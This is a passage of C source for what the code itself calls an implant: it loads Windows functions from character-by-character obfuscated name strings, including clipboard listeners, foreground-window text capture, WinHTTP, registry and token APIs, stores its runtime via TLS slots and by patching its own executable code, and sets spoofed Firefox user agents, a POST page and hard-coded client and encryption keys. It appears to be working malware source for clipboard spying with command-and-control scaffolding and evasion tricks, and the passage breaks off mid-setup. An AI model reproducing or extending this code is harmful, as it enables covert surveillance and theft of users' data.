	HMODULE hOleAut32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strOleAut32);

	if (hOleAut32 == NULL)
		return FALSE;

	pRuntime->pOleAut32->fpSysAllocString = (SYSALLOCSTRING)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strSysAllocString);
	pRuntime->pOleAut32->fpSysFreeString = (SYSFREESTRING)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strSysFreeString);
	pRuntime->pOleAut32->fpVariantClear = (VARIANTCLEAR)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strVariantClear);
	pRuntime->pOleAut32->fpVariantInit = (VARIANTINIT)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strVariantInit);


	if (
		!pRuntime->pOleAut32->fpSysAllocString ||
		!pRuntime->pOleAut32->fpSysFreeString ||
		!pRuntime->pOleAut32->fpVariantClear ||
		!pRuntime->pOleAut32->fpVariantInit
		)
		return FALSE;

	return TRUE;
}

BOOL LoadUser32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hUser32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strUser32);

	if (hUser32 == NULL)
		return FALSE;

	pRuntime->pUser32->fpAddClipboardFormatListener = (ADDCLIPBOARDFORMATLISTENER)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strAddClipboardFormatListener);
	pRuntime->pUser32->fpCloseClipboard = (CLOSECLIPBOARD)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strCloseClipboard);
	pRuntime->pUser32->fpGetClipboardData = (GETCLIPBOARDDATA)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetClipboardData);
	pRuntime->pUser32->fpGetClipboardOwner = (GETCLIPBOARDOWNER)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetClipboardOwner);
	pRuntime->pUser32->fpGetForegroundWindow = (GETFOREGROUNDWINDOW)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetForegroundWindow);
	pRuntime->pUser32->fpGetWindowThreadProcessId = (GETWINDOWTHREADPROCESSID)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetWindowThreadProcessId);
	pRuntime->pUser32->fpGetWindowTextA = (GETWINDOWTEXTA)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strGetWindowTextA);
	pRuntime->pUser32->fpOpenClipboard = (OPENCLIPBOARD)pRuntime->pKernel32->fpGetProcAddress(hUser32, pRuntimeStrings->strOpenClipboard);


	if (
		!pRuntime->pUser32->fpAddClipboardFormatListener ||
		!pRuntime->pUser32->fpCloseClipboard ||
		!pRuntime->pUser32->fpGetClipboardData ||
		!pRuntime->pUser32->fpGetClipboardOwner ||
		!pRuntime->pUser32->fpGetForegroundWindow ||
		!pRuntime->pUser32->fpGetWindowThreadProcessId ||
		!pRuntime->pUser32->fpGetWindowTextA ||
		!pRuntime->pUser32->fpOpenClipboard 
		)
		return FALSE;

	return TRUE;
}


BOOL WINAPI RuntimeInit(PRUNTIME* ppRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings, PINIT_FUNCTIONPOINTERS pInit)
{

	BOOL bKernel32Loaded, bMsvcrtLoaded, bWinhttpLoaded, bAdvapi32Loaded, bpWs2_32Loaded, bpOle32Loaded, bpOleAut32Loaded;

	if (*ppRuntime != NULL)
		return FALSE;

	*ppRuntime = (PRUNTIME)pInit->fpLocalAlloc(LMEM_ZEROINIT, sizeof(RUNTIME));
	//*ppRuntime = (PRUNTIME)LocalAlloc(LMEM_ZEROINIT, sizeof(RUNTIME));

	if (*ppRuntime == NULL)
		return FALSE;


	/* kernel32 */
	(*ppRuntime)->pKernel32 = (PVTABLE_KERNEL32)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_KERNEL32));
	
	if ((*ppRuntime)->pKernel32 == NULL)
		return FALSE; // we leak, but if the allocation fails we probably have bigger issues

	(*ppRuntime)->pKernel32->fpLoadLibraryA = pInit->fpLoadLibraryA;
	(*ppRuntime)->pKernel32->fpGetProcAddress = pInit->fpGetProcAddress;

	bKernel32Loaded = LoadKernel32((*ppRuntime), pRuntimeStrings);

	/* msvcrt */
	(*ppRuntime)->pMsvcrt = (PVTABLE_MSVCRT)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_MSVCRT));

	if ((*ppRuntime)->pMsvcrt == NULL)
		return FALSE;

	bMsvcrtLoaded = LoadMsvcrt((*ppRuntime), pRuntimeStrings);


	/* winhttp */
	(*ppRuntime)->pWinhttp = (PVTABLE_WINHTTP)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_WINHTTP));

	if ((*ppRuntime)->pWinhttp == NULL)
		return FALSE;

	bWinhttpLoaded = LoadWinhttp((*ppRuntime), pRuntimeStrings);

	//(*ppRuntime)->pWinhttpVariables = (PVTABLE_WINHTTP_GLOBAL_VARIABLES)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_WINHTTP_GLOBAL_VARIABLES));


	/* advapi32 */
	(*ppRuntime)->pAdvapi32 = (PVTABLE_ADVAPI32)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_ADVAPI32));

	if ((*ppRuntime)->pAdvapi32 == NULL)
		return FALSE;

	bAdvapi32Loaded = LoadAdvapi32((*ppRuntime), pRuntimeStrings);

	/* ws2_32 */
	(*ppRuntime)->pWs2_32 = (PVTABLE_WS2_32)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_WS2_32));

	if ((*ppRuntime)->pWs2_32 == NULL)
		return FALSE;

	bpWs2_32Loaded = LoadWs2_32((*ppRuntime), pRuntimeStrings);


	/* Ole32 */
	(*ppRuntime)->pOle32  = (PVTABLE_OLE32)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_OLE32));

	if ((*ppRuntime)->pOle32 == NULL)
		return FALSE;

	bpOle32Loaded = LoadOle32((*ppRuntime), pRuntimeStrings);

	/* OleAut32 */
	(*ppRuntime)->pOleAut32 = (PVTABLE_OLEAUT32)pInit->fpLocalAlloc(LPTR, sizeof(VTABLE_OLEAUT32));

	if ((*ppRuntime)->pOleAut32 == NULL)
		return FALSE;

	bpOleAut32Loaded = LoadOleAut32((*ppRuntime), pRuntimeStrings);
		

	/* set up allocators */
	(*ppRuntime)->pAllocators = (PALLOCATORS)pInit->fpLocalAlloc(LPTR, sizeof(ALLOCATORS));
	(*ppRuntime)->pAllocators->fpSalloc = rSalloc;
	(*ppRuntime)->pAllocators->fpSfree = rSfree;
	(*ppRuntime)->pAllocators->fpScalloc = rScalloc;
	(*ppRuntime)->pAllocators->fpSrealloc = rSrealloc;


	/*	delimiter values to help validate runtime structure if needed, 
		i.e. when fetched through Tls
	*/
	(**ppRuntime).dwStructRuntimeStart = STRUCT_RUNTIME_START;
	(**ppRuntime).dwStructRuntimeEnd = STRUCT_RUNTIME_END;

	return TRUE;
}


BOOL WINAPI RuntimeClose(PRUNTIME* ppRuntime, PINIT_FUNCTIONPOINTERS pInit)
{
	pInit->fpLocalFree((*ppRuntime)->pKernel32);
	pInit->fpLocalFree((*ppRuntime)->pAllocators);
	pInit->fpLocalFree(*ppRuntime);

	return TRUE;
}

BOOL WINAPI RuntimeMain(PRUNTIME* ppRuntime, PBINPATCH_STRUCT pBinBatchStuff, int argc, char *argv[])
{

	PRUNTIME pRuntime = *ppRuntime;

	/*if (pBinBatchStuff->hDllToFree)
	{
		pRuntime->pKernel32->fpFreeLibrary(pBinBatchStuff->hDllToFree);
		pRuntime->pKernel32->fpFreeLibrary(pBinBatchStuff->hDllToFree);
		pRuntime->pKernel32->fpFreeLibrary(pBinBatchStuff->hDllToFree);
	}*/

	while (1)
	{
		pRuntime->pKernel32->fpOutputDebugStringA(argv[0]);
		pRuntime->pKernel32->fpSleep(argc);		
	}

	return TRUE;
}

DWORD WINAPI RuntimeRegisterModule(PRUNTIME* ppRuntime, PMODULE_DEFINITION pModuleDefinition)
{
	PRUNTIME pRuntime = *ppRuntime;

	pRuntime->pModuleSpecificData[pModuleDefinition->dataIndex] = pModuleDefinition->pModuleSpecificData;
	OUTPUTDEBUG("[*] Registered module %llu in position %d", pModuleDefinition->dwModuleId, pModuleDefinition->dataIndex);
	
	return 0;
}



PRUNTIME GetRuntimeViaTls()
{
	/* use 3 indexes */
	DWORD dwTlsFirstIndex = 20;
	DWORD dwTlsSecondIndex = 30;
	DWORD dwTlsThirdIndex = 60;

	PRUNTIME pRuntime = NULL;

	/* try first index */
	pRuntime = TlsGetValue(dwTlsFirstIndex);

	if (pRuntime != NULL)
		if (pRuntime->dwStructRuntimeStart = STRUCT_RUNTIME_START)
			if (pRuntime->dwStructRuntimeEnd == STRUCT_RUNTIME_END)
				return pRuntime;

	/* try second index */
	pRuntime = TlsGetValue(dwTlsSecondIndex);

	if (pRuntime != NULL)
		if (pRuntime->dwStructRuntimeStart = STRUCT_RUNTIME_START)
			if (pRuntime->dwStructRuntimeEnd == STRUCT_RUNTIME_END)
				return pRuntime;

	/* try third index */
	pRuntime = TlsGetValue(dwTlsThirdIndex);

	if (pRuntime != NULL)
		if (pRuntime->dwStructRuntimeStart = STRUCT_RUNTIME_START)
			if (pRuntime->dwStructRuntimeEnd == STRUCT_RUNTIME_END)
				return pRuntime;

	return NULL;
}

VOID SetRuntimeViaTls(PRUNTIME pRuntime)
{
	/* use 3 indexes */
	DWORD dwTlsFirstIndex = 20;
	DWORD dwTlsSecondIndex = 30;
	DWORD dwTlsThirdIndex = 60;

	BOOL dwFirstIndexSet = FALSE, dwSecondIndexSet = FALSE, dwThirdIndexSet = FALSE;

	BOOL bAllocatedTlsSlots[TLS_MINIMUM_AVAILABLE];

	DWORD i, index;

	/* keep track of useless allocations */
	for (i = 0; i < TLS_MINIMUM_AVAILABLE; i++)
		bAllocatedTlsSlots[i] = FALSE;

	/* allocate at least one slot */
	for (i = 0; i < TLS_MINIMUM_AVAILABLE; i++)
	{
		index = TlsAlloc();
		
		printf("index %d\n", index);

		if (index == dwTlsFirstIndex && dwFirstIndexSet == FALSE)
		{
			TlsSetValue(dwTlsFirstIndex, pRuntime);
			dwFirstIndexSet = TRUE;
			break;
		}
		else if (index == dwTlsSecondIndex && dwSecondIndexSet == FALSE)
		{
			TlsSetValue(dwTlsSecondIndex, pRuntime);
			dwSecondIndexSet = TRUE;
			break;
		}
		else if (index == dwTlsThirdIndex && dwThirdIndexSet == FALSE)
		{
			TlsSetValue(dwTlsThirdIndex, pRuntime);
			dwThirdIndexSet = TRUE;
			break;
		}
		else
			bAllocatedTlsSlots[i] = TRUE;

	}

	/* free useless allocatsions */
	for (i = 0; i < TLS_MINIMUM_AVAILABLE; i++)
		if (bAllocatedTlsSlots[i])
			TlsFree(i);

}

//UINT64 swapLong(VOID* value) {
//	UINT64 x = (UINT64)value;
//	x = (x & 0x00000000FFFFFFFF) << 32 | (x & 0xFFFFFFFF00000000) >> 32;
//	x = (x & 0x0000FFFF0000FFFF) << 16 | (x & 0xFFFF0000FFFF0000) >> 16;
//	x = (x & 0x00FF00FF00FF00FF) << 8 | (x & 0xFF00FF00FF00FF00) >> 8;
//	return x;
//}

PRUNTIME GetRuntimeViaPatching64()
{
	UINT64 flag = 0x1122334455667788;
	PRUNTIME ptr = (PRUNTIME)flag;
	return ptr;
}

BOOL SetRuntimeViaPatching64(PRUNTIME pRuntime)
{
	UINT64 flag = 0x1122334455667788;
	BYTE* start = &GetRuntimeViaPatching64;
	UINT64 patchValue = (UINT64)pRuntime;
	DWORD i;

	DWORD dwSize = 0x80, dwOldProtect = 0;
	BOOL bSuccess = FALSE;

	if (!VirtualProtect(start, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect))
		return bSuccess;

	for (i = 0; i < dwSize; i++)
	{
		if (!memcmp(&start[i], &flag, sizeof(UINT64)))
		{
			memcpy(&start[i], &patchValue, sizeof(UINT64));
			bSuccess = TRUE;
			break;
		}
	}

	DWORD dwDummy;
	VirtualProtect(start, dwSize, dwOldProtect, &dwDummy);

	return bSuccess;
}

PRUNTIME LoadRuntime()
{
	/* 1] prepare a runtime */
	DYNAMIC_LOADER_STRINGS moduleLoaderStrings =
	{
		{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', 0x0 },
		{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },
		{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 },
		{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'i', 'p', 'e', 0x0 },
		{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A', 0x0 },
		{ 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 },
		{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 },
		{ 'E', 'n', 't', 'e', 'r', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n', 0x0 },
		{ 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 },
		{ 'E', 'x', 'p', 'a', 'n', 'd', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'S', 't', 'r', 'i', 'n', 'g', 's', 'A', 0x0 },
		{ 'F', 'i', 'n', 'd', 'C', 'l', 'o', 's', 'e', 0x0 },
		{ 'F', 'i', 'n', 'd', 'F', 'i', 'r', 's', 't', 'F', 'i', 'l', 'e', 'A', 0x0 },
		{ 'F', 'i', 'n', 'd', 'N', 'e', 'x', 't', 'F', 'i', 'l', 'e', 'A', 0x0 },
		{ 'F', 'l', 'u', 's', 'h', 'F', 'i', 'l', 'e', 'B', 'u', 'f', 'f', 'e', 'r', 's', 0x0 },
		{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 0x0 },
		{ 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },
		{ 'G', 'e', 't', 'D', 'r', 'i', 'v', 'e', 'T', 'y', 'p', 'e', 'A', 0x0 },
		{ 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e', 0x0 },
		{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A', 0x0 },
		{ 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'W', 0x0 },
		{ 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r', 0x0 },
		{ 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 },
		{ 'G', 'e', 't', 'S', 'y', 's', 't', 'e', 'm', 'T', 'i', 'm', 'e', 'A', 's', 'F', 'i', 'l', 'e', 'T', 'i', 'm', 'e', 0x0 },
		{ 'G', 'e', 't', 'T', 'i', 'c', 'k', 'C', 'o', 'u', 'n', 't', 0x0 },
		{ 'G', 'l', 'o', 'b', 'a', 'l', 'L', 'o', 'c', 'k', 0x0 },
		{ 'G', 'l', 'o', 'b', 'a', 'l', 'U', 'n', 'l', 'o', 'c', 'k', 0x0 },
		{ 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n', 0x0 },
		{ 'L', 'e', 'a', 'v', 'e', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n', 0x0 },
		{ 'L', 'o', 'c', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
		{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 },
		{ 'L', 'o', 'c', 'a', 'l', 'F', 'r', 'e', 'e', 0x0 },
		{ 'L', 'o', 'c', 'a', 'l', 'R', 'e', 'A', 'l', 'l', 'o', 'c', 0x0 },
		{ 'O', 'u', 't', 'p', 'u', 't', 'D', 'e', 'b', 'u', 'g', 'S', 't', 'r', 'i', 'n', 'g', 'A', 0x0 },
		{ 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 0x0 },
		{ 'S', 'l', 'e', 'e', 'p', 0x0 },
		{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
		{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', 0x0 },
		{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0x0 },
		{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 },
		{ 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't', 0x0 },
		{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 },
		{ 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', 0x0 },
		{ 'C', 'o', 'n', 'v', 'e', 'r', 't', 'S', 'i', 'd', 'T', 'o', 'S', 't', 'r', 'i', 'n', 'g', 'S', 'i', 'd', 'A', 0x0 },
		{ 'G', 'e', 't', 'T', 'o', 'k', 'e', 'n', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0x0 },
		{ 'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', 'T', 'o', 'k', 'e', 'n', 0x0 },
		{ 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y', 0x0 },
		{ 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A', 0x0 },
		{ 'R', 'e', 'g', 'D', 'e', 'l', 'e', 't', 'e', 'K', 'e', 'y', 'A', 0x0 },
		{ 'R', 'e', 'g', 'D', 'i', 's', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y', 0x0 },
		{ 'R', 'e', 'g', 'E', 'n', 'a', 'b', 'l', 'e', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y', 0x0 },
		{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'U', 's', 'e', 'r', 0x0 },
		{ 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A', 0x0 },
		{ 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'R', 'e', 'f', 'l', 'e', 'c', 't', 'i', 'o', 'n', 'K', 'e', 'y', 0x0 },
		{ 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A', 0x0 },
		{ 'm', 's', 'v', 'c', 'r', 't', 0x0 },
		{ '_', 'b', 'e', 'g', 'i', 'n', 't', 'h', 'r', 'e', 'a', 'd', 'e', 'x', 0x0 },
		{ '_', 'c', 'l', 'o', 's', 'e', 0x0 },
		{ 'i', 's', 'd', 'i', 'g', 'i', 't', 0x0 },
		{ 'i', 's', 's', 'p', 'a', 'c', 'e', 0x0 },
		{ '_', 'i', 't', 'o', 'a', '_', 's', 0x0 },
		{ '_', 'i', 't', 'o', 'w', '_', 's', 0x0 },
		{ 'm', 'e', 'm', 'c', 'm', 'p', 0x0 },
		{ 'm', 'e', 'm', 'c', 'p', 'y', 0x0 },
		{ 'm', 'e', 'm', 'c', 'p', 'y', '_', 's', 0x0 },
		{ 'm', 'e', 'm', 's', 'e', 't', 0x0 },
		{ '_', 'o', 'p', 'e', 'n', 0x0 },
		{ 'r', 'a', 'n', 'd', 0x0 },
		{ '_', 'r', 'e', 'a', 'd', 0x0 },
		{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', '_', 's', 0x0 },
		{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', 0x0 },
		{ 's', 'r', 'a', 'n', 'd', 0x0 },
		{ 's', 't', 'r', 'c', 'm', 'p', 0x0 },
		{ '_', 's', 't', 'r', 'd', 'u', 'p', 0x0 },
		{ 's', 't', 'r', 'l', 'e', 'n', 0x0 },
		{ 's', 't', 'r', 'r', 'c', 'h', 'r', 0x0 },
		{ 's', 's', 'c', 'a', 'n', 'f', 0x0 },
		{ 's', 's', 'c', 'a', 'n', 'f', '_', 's', 0x0 },
		{ 's', 't', 'r', 'c', 'a', 't', '_', 's', 0x0 },
		{ 's', 't', 'r', 'c', 'h', 'r', 0x0 },
		{ 's', 't', 'r', 'n', 'c', 'p', 'y', '_', 's', 0x0 },
		{ 's', 't', 'r', 'n', 'c', 'm', 'p', 0x0 },
		{ '_', 's', 't', 'r', 'n', 'i', 'c', 'm', 'p', 0x0 },
		{ 's', 't', 'r', 't', 'o', 'd', 0x0 },
		{ 's', 'w', 'p', 'r', 'i', 'n', 't', 'f', '_', 's', 0x0 },
		{ 't', 'i', 'm', 'e', 0x0 },
		{ 't', 'o', 'u', 'p', 'p', 'e', 'r', 0x0 },
		{ '_', 'v', 's', 'c', 'p', 'r', 'i', 'n', 't', 'f', 0x0 },
		{ 'v', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', 0x0 },
		{ 'v', 's', 'p', 'r', 'i', 'n', 't', 'f', 0x0 },
		{ 'w', 'c', 's', 'c', 'a', 't', '_', 's', 0x0 },
		{ 'w', 'c', 's', 'c', 'p', 'y', '_', 's', 0x0 },
		{ 'w', 'c', 's', 'l', 'e', 'n', 0x0 },
		{ '_', 'w', 'r', 'i', 't', 'e', 0x0 },
		{ '_', 'w', 't', 'o', 'i', 0x0 },
		{ 'W', 'i', 'n', 'h', 't', 't', 'p', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'C', 'o', 'n', 'n', 'e', 'c', 't', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'G', 'e', 't', 'I', 'E', 'P', 'r', 'o', 'x', 'y', 'C', 'o', 'n', 'f', 'i', 'g', 'F', 'o', 'r', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'U', 's', 'e', 'r', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'G', 'e', 't', 'P', 'r', 'o', 'x', 'y', 'F', 'o', 'r', 'U', 'r', 'l', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'O', 'p', 'e', 'n', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'O', 'p', 'e', 'n', 'R', 'e', 'q', 'u', 'e', 's', 't', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'H', 'e', 'a', 'd', 'e', 'r', 's', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'R', 'e', 'a', 'd', 'D', 'a', 't', 'a', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'R', 'e', 'c', 'e', 'i', 'v', 'e', 'R', 'e', 's', 'p', 'o', 'n', 's', 'e', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 'n', 'd', 'R', 'e', 'q', 'u', 'e', 's', 't', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 't', 'O', 'p', 't', 'i', 'o', 'n', 0x0 },
		{ 'W', 'i', 'n', 'H', 't', 't', 'p', 'S', 'e', 't', 'T', 'i', 'm', 'e', 'o', 'u', 't', 's', 0x0 },
		{ 'W', 's', '2', '_', '3', '2', 0x0 },
		{ 'g', 'e', 't', 'h', 'o', 's', 't', 'b', 'y', 'n', 'a', 'm', 'e', 0x0 },
		{ 'i', 'n', 'e', 't', '_', 'a', 'd', 'd', 'r', 0x0 },
		{ 'i', 'n', 'e', 't', '_', 'n', 't', 'o', 'a', 0x0 },
		{ 'n', 't', 'o', 'h', 'l', 0x0 },
		{ 'W', 'S', 'A', 'C', 'l', 'e', 'a', 'n', 'u', 'p', 0x0 },
		{ 'W', 'S', 'A', 'S', 't', 'a', 'r', 't', 'u', 'p', 0x0 },
		{ 'O', 'l', 'e', 'A', 'u', 't', '3', '2', 0x0 },
		{ 'S', 'y', 's', 'A', 'l', 'l', 'o', 'c', 'S', 't', 'r', 'i', 'n', 'g', 0x0 },
		{ 'S', 'y', 's', 'F', 'r', 'e', 'e', 'S', 't', 'r', 'i', 'n', 'g', 0x0 },
		{ 'V', 'a', 'r', 'i', 'a', 'n', 't', 'C', 'l', 'e', 'a', 'r', 0x0 },
		{ 'V', 'a', 'r', 'i', 'a', 'n', 't', 'I', 'n', 'i', 't', 0x0 },
		{ 'O', 'l', 'e', '3', '2', 0x0 },
		{ 'C', 'o', 'C', 'r', 'e', 'a', 't', 'e', 'I', 'n', 's', 't', 'a', 'n', 'c', 'e', 0x0 },
		{ 'C', 'o', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'E', 'x', 0x0 },
		{ 'C', 'o', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 0x0 },
		{ 'C', 'o', 'S', 'e', 't', 'P', 'r', 'o', 'x', 'y', 'B', 'l', 'a', 'n', 'k', 'e', 't', 0x0 },
		{ 'C', 'o', 'U', 'n', 'i', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 0x0 },
		{ 'U', 's', 'e', 'r', '3', '2', 0x0 },
		{ 'A', 'd', 'd', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'F', 'o', 'r', 'm', 'a', 't', 'L', 'i', 's', 't', 'e', 'n', 'e', 'r', 0x0 },
		{ 'C', 'l', 'o', 's', 'e', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 0x0 },
		{ 'G', 'e', 't', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'D', 'a', 't', 'a', 0x0 },
		{ 'G', 'e', 't', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 'O', 'w', 'n', 'e', 'r', 0x0 },
		{ 'G', 'e', 't', 'F', 'o', 'r', 'e', 'g', 'r', 'o', 'u', 'n', 'd', 'W', 'i', 'n', 'd', 'o', 'w', 0x0 },
		{ 'G', 'e', 't', 'W', 'i', 'n', 'd', 'o', 'w', 'T', 'h', 'r', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd', 0x0 },
		{ 'G', 'e', 't', 'W', 'i', 'n', 'd', 'o', 'w', 'T', 'e', 'x', 't', 'A', 0x0 },
		{ 'O', 'p', 'e', 'n', 'C', 'l', 'i', 'p', 'b', 'o', 'a', 'r', 'd', 0x0 },
	};


	PINIT_FUNCTIONPOINTERS init = (PINIT_FUNCTIONPOINTERS) malloc(sizeof(INIT_FUNCTIONPOINTERS));
	init->fpGetProcAddress = GetProcAddress;
	init->fpLoadLibraryA = LoadLibraryA;
	init->fpLocalAlloc = LocalAlloc;
	init->fpLocalFree = LocalFree;

	PRUNTIME pRuntime = NULL;
	RuntimeInit(&pRuntime, &moduleLoaderStrings, init);

	OutputDebugStringA("[*] post runtime init\n");

	BOOL bPatched = SetRuntimeViaPatching64(pRuntime);

	if (bPatched)
		OutputDebugStringA("[*] RuntimeViaPatching64 successful\n");
	else
		OutputDebugStringA("[*] RuntimeViaPatching64 fail\n");

	/* version */
	PIMPLANT_VERSION pVersion = (PIMPLANT_VERSION)malloc(sizeof(IMPLANT_VERSION));
	pVersion->dwBuildVersion = 1009;
	memcpy(pVersion->strUserAgent, L"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", 125);
	memcpy(pVersion->strSocialUserAgent, L"Mozilla/5.0 (Windows NT 6.2; rv:36.0) Gecko/20100101 Firefox/36.0", 125);
	memcpy(pVersion->strPostPage, L"asdf.php", 19);
	pRuntime->pVersion = pVersion;

	/* binpatch */
	PBINPATCH_STRUCT lpBinPatch = (PBINPATCH_STRUCT)malloc(sizeof(BINPATCH_STRUCT));

	memset(lpBinPatch->clientKey.pClientKey, 0, 32);
	MD5("4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z", 32, lpBinPatch->clientKey.pClientKey);
	//memcpy(lpBinPatch->clientKey.pClientKey, "4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z", 32);

	memset(lpBinPatch->EncryptionKey.pEncryptionKey, 0, 32);
	MD5("i6gMR84bxvQovzbhtV-if0SdPMu359ax", 32, lpBinPatch->EncryptionKey.pEncryptionKey);
	//memcpy(lpBinPatch->EncryptionKey.pEncryptionKey, "i6gMR84bxvQovzbhtV-if0SdPMu359ax", min(32, strlen("i6gMR84bxvQovzbhtV-if0SdPMu359ax")));

	memset(lpBinPatch->EncryptionKeyConf.pEncryptionKeyConf, 0, 32);
